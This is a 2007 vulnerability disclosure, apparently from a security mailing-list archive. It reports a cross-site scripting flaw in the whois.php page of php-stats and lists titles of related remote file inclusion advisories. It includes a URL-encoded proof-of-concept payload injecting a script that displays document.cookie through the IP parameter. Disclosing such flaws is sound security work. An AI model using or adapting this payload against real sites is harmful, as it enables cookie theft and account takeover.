Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

mcNews (skinfile) Remote File Include Vulnerability

Beautifier Version 0.1 Remote File Include Vulnerability // MefistoLabs.Com

Lib2 PHP v0.2 (DOCUMENT_ROOT) Remote File Inclusion Vulnerability

SOTEeSKLEP Remote File Disclosure Vulnerability

From:	vasodipandora_(at)_gmail.com <vasodipandora_(at)_gmail.com>
Date:	13.08.2007
Subject:	php-stats xss whois.php

I have found an xss in whois.php page of php-stats.

http://phpstats.net/

Here is the XSS

php-stats-path/whois.php?IP=%22%3E%3Cscript%3Ealert(document.
cookie);%3C/script%3E